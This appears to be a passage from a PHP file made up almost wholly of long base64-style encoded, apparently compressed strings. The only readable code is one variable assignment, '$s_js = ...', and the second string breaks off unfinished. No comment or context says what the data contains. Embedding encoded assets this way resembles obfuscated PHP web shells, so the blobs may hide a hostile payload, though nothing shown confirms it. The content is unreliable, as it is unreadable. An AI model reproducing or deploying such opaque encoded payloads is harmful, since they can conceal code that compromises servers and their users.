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";
$s_js = "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